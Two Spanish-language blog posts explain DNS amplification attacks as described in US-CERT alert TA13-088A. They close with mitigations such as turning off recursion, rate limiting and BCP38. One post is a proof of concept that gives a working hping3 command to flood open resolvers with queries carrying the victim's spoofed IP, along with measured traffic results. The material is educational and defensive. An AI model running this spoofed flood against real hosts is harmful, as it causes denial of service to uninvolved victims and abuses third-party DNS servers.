jueves, 11 de julio de 2013

"Prueba de concepto" TA13-088A: DNS Amplification Attacks

Para complementar el post anterior voy a hacer una demostración sencilla. La idea es demostrar la facilidad con que se pueden ganar varios Mbytes de tráfico con solo hacer consultas DNS.

Para generar las consultas utilizamos hping3 (http://www.hping.org/), una herramientita muuy interesante que permite generar paquetes de todo tipo, formas, etc, hacer ip spoofing, lanzar enormidad de paquetes por segundo, etc.

Los participantes serán:

IP_victima: la IP que falsificaremos y a donde volverá el tráfico dns amplificado.
IP_dns1, IP_dns2 : las IPs de los servidores de dns que vamos a utilizar para atacar.
IP_atacante: si bien dijimos que lo ideal sería realizar el ataque desde varias PCs, lo vamos a hacer desde solo una para la prueba.

Conseguir la consulta a enviar:

La consulta que vamos a enviar es la misma que mostré en el post anterior, por lo tanto hice una captura con wireshark el envío de la consulta y exporté el contenido del paquete UDP a un archivo llamado "query". Este archivo contiene todo lo respectivo a la consulta DNS


La parte sombreada es lo que exportamos al archivo query en formato binario, podemos ver que son 28 bytes de la consulta.
Podemos ver el tamaño del archivo exportado:

root@corrientes:/home/jpavlik/DoS# ll query 
-rw-r--r-- 1 root root 28 jul  8 17:35 query
root@corrientes:/home/jpavlik/DoS# 

Lanzamos hping contra el primer dns y vemos el efecto en la víctima:

Vamos a lanzar hping de la siguiente manera:

hping3 --faster --udp -p 53 --spoof IP_victima --file query -d 28 IP_dns1
  • Donde el parámetro "--faster" le indica a hping que envíe los paquetes con intervalos de espera de 1 microsegundo (aprox. 1000000 de paquetes por segundo). 
  • Los parámetros "--udp -p 53" indica el protocolo de transporte y el puerto destino al que irán los paquetes generados.
  • El parámetros "--spoof IP_victima" indica la IP de origen que tendrán los paquetes generados.
  • Los parámetros "--file query -d 28" indican por un lado, el archivo de donde se sacará el contenido a enviar en los paquetes y la longitud de este contenido.
  • Por último "IP_dns1" la IP del servidor de nombres recursivo que vamos a utilizar.
Por otro lado, en la víctima mediremos el tráfico con iftop de la siguiente manera:

iftop -f "port 53"
  • Iftop nos permite ver en tiempo real las conexiones y el consumo de estas en una interfaz de red
  • La opción "-f" permite definir un filtro y en nuestro caso filtramos por el puerto 53. 
Vemos que antes de lanzar no tenemos trafico alguno:


Ahora lanzamos el hping con los parámetros correspondientes:


  • Vemos como se generaron unos 47,5 Mb por segundo (solo con 1 máquina y 1 dns).
  • Vemos como solo se registra tráfico RX (entrante), esto se debe principalmente al spoofin, ya que las consultas jamás salieron de esta IP.

Lanzamos hping contra dos dns y vemos el efecto en la víctima:

Esta vez lanzamos una segunda instancia de hping, pero apuntando las consultas a un segundo servidor de dns para "duplicar" el impacto.


  • Con este segundo dns llegamos a un pico de 78Mb por segundo, un poco por debajo del doble.
  • Vemos ahora otro flujo solamente de llegada de paquetes, correspondiente a las respuestas del segundo servidor.

En fin, esto era para mostrarles que no es muy complicado de reproducior el problema de esta manera. Para que realmente el ataque sea exitoso son necesarios varios factores:
  • DNSs recursivos que respondan abiertamente y una tasa alta de respuestas por segundo.
  • Muchos HOSTS desde donde se pueda hacer spoof de la IP de la víctima.
  • Paciencia.

domingo, 7 de julio de 2013

TA13-088A: DNS Amplification Attacks

Hace un par de días recibí un correo de US-CERT con el título "TA13-088A: DNS Amplification Attacks" y me llamó poderosamente la atención que esto siga siendo un problema en la red.

Según el último análisis hecho por la gente de Open Resolver Project (http://openresolverproject.org/ 2013-06-30):


35086838 servers responded to udp/53 probe
30085246 gave the correct answer to the A? for the DNS name queried
30556493 responses had recursion-available bit set


Es decir que existen alrededor de 35 millones de servidores DNS, de los cuales 30 millones responderían consultas recursivas, esto es aproximadamente el 87% del total (bastante, no?). 

A ver..., a priori tener un servidor DNS que responde consultas recursivas no es un pecado capital, de hecho es una gran funcionalidad en casos como el de la siguiente figura:


Un DNS recursivo brinda una serie de ventajas:

  • Permite que las aplicaciones no tengan que cargar con el proceso de resolución de nombres.
  • Definir políticas en cuanto al acceso a determinados dominios.
  • En el caso de tener un firewall principal que controle el tráfico entrante y saliente de la organización, solo sería necesario abrir el puerto 53 (UDP/TCP) para el servidor de DNS y no para todas las IPs.
  • Por lo general los servidores recursivos además son servidores cache, es decir que guardan las respuestas obtenidas por un plazo de tiempo, esto implica reducciones de tiempo y de consumo de ancho de banda.

Entonces cuál es el problema con tener un DNS recursivo?

El problema radica principalmente en la capacidad de un atacante de falsificar la dirección IP de origen (conocido como IP spoofing) en una consulta de dns. Sumado a esto, las consultas DNS tienen una particularidad muy interesante y util en este contexto:

Las respuestas suelen ser mucho mas grandes que las preguntas.

Por ejemplo, una consulta sencilla donde solo queremos los registros NS que corresponden a la raíz del servicio de nombres:


juan@moon:~$ dig -t ns .

; <<>> DiG 9.7.3 <<>> -t ns .
;; global options: +cmd
;; Got answer:
;; ->>HEADER<<- 43559="" font="" id:="" noerror="" opcode:="" query="" status:="">
;; flags: qr rd ra; QUERY: 1, ANSWER: 13, AUTHORITY: 0, ADDITIONAL: 15

;; QUESTION SECTION:
;.                              IN      NS

;; ANSWER SECTION:
.                       194627  IN      NS      i.root-servers.net.
.                       194627  IN      NS      j.root-servers.net.
.                       194627  IN      NS      m.root-servers.net.
.                       194627  IN      NS      g.root-servers.net.
.                       194627  IN      NS      k.root-servers.net.
.                       194627  IN      NS      b.root-servers.net.
.                       194627  IN      NS      e.root-servers.net.
.                       194627  IN      NS      l.root-servers.net.
.                       194627  IN      NS      c.root-servers.net.
.                       194627  IN      NS      h.root-servers.net.
.                       194627  IN      NS      f.root-servers.net.
.                       194627  IN      NS      a.root-servers.net.
.                       194627  IN      NS      d.root-servers.net.

;; ADDITIONAL SECTION:
j.root-servers.net.     603710  IN      A       192.58.128.30
m.root-servers.net.     198503  IN      A       202.12.27.33
m.root-servers.net.     254964  IN      AAAA    2001:dc3::35
g.root-servers.net.     603710  IN      A       192.112.36.4
k.root-servers.net.     603710  IN      A       193.0.14.129
b.root-servers.net.     603710  IN      A       192.228.79.201
e.root-servers.net.     603497  IN      A       192.203.230.10
l.root-servers.net.     601827  IN      A       199.7.83.42
l.root-servers.net.     601827  IN      AAAA    2001:500:3::42
c.root-servers.net.     603710  IN      A       192.33.4.12
h.root-servers.net.     603710  IN      A       128.63.2.53
f.root-servers.net.     603710  IN      A       192.5.5.241
a.root-servers.net.     442939  IN      A       198.41.0.4
a.root-servers.net.     599900  IN      AAAA    2001:503:ba3e::2:30
d.root-servers.net.     603710  IN      A       199.7.91.13

;; Query time: 24 msec
;; SERVER: 200.49.130.47#53(200.49.130.47)
;; WHEN: Sun Jul  7 00:25:00 2013
;; MSG SIZE  rcvd: 504

juan@moon:~$ 

Capturando con wireshark la consulta anterior vemos:


La respuesta es casi 10 veces mas grande que la pregunta (podrían existir casos aún peores, pruebe con dig -t ANY . @8.8.8.8 ... 1600 bytes!). Esta particularidad hace al protocolo DNS una potencial herramienta de denegación de servicio muuuuy interesante. 

Si extrapolamos un poco los números:
  • Digamos que podemos hacer 10 consultas por segundo, eso serían 590 bytes, recibiríamos 5460 bytes en respuestas.
  • Digamos que podemos hacer 100 consultas por segundo, eso serían 5900 bytes en consultas y unos 54600 bytes en respuestas.
Dificilmente logremos realizar una DoS realizando 100 consultas por segundo... la amenaza está realmente en el trabajo en equipo, es decir en las Botnets. 

Si un atacante contara con una botnet pequeña de unos 2000 equipos infectados generando unas 10 consultas por segundo, podría generar un bruto de 10920000 (5000*10*546) bytes, aproximadamente 10 Gbytes de tráfico en respuestas!!! Pero todavía queda algo por arreglar, claramente no podríamos exigirle este tráfico a un solo servidor DNS... necesitamos poder distribuir las consultas en mas de un servidor; pero eso no debería ser un impedimento según la gente de OpenResolvers.org, ya que hay millones de servidores DNS recursivos abiertos.

Ahora supongamos que además, el atacante es capaz de cambiar la IP de origen con que salen las consultas DNS de cada uno de los miembros de la botnet, por la IP de la víctima... eso significaría que estos 10 Gbytes estarían volviendo no a los nodos de la botnet sino a la IP víctima, colapsando así su ancho de banda y produciendo una denegación de servicio.

Cómo evitarlo?
Evitar denegaciones de servicio no es un tema sencillo y en la mayoría de los casos lo mejor que podamos hacer solamente reducirá el riesgo de sufrir una o disminuirá un poco su impacto.

Las siguiente medidas son de ayuda:

  • Deshabilitar las consultas recursivas en los servidores que no las precisen, por ejemplo aquellos servidores que solo son autoritativos.
  • Si las consultas recursivas son necesarias, se pueden tomar dos medidas: limitar la funcionalidad a un número acotado de IPs o limitar la cantidad de consultas por segundo permitidas.
  • Verificación de direcciones IP, los ISP deberían combatir el IP spoofing, aca va un RFC que presenta una solución a este problema http://tools.ietf.org/html/bcp38 .
Cómo saber si mi servidor de DNS es vulnerable?

Una buena herramienta para ver si nuestros servidores son vulnerables es la siguiente http://www.dnsinspect.com/ . Con solo introducir nuestro nombre de dominio la aplicación hace una serie de pruebas a los servidores DNS declarados de la zona y prepara un breve informe. Este contiene los resultados de las pruebas junto con una serie de advertencias, sugerencias/recomendaciones para aplicar sobre las configuraciones de los mismos.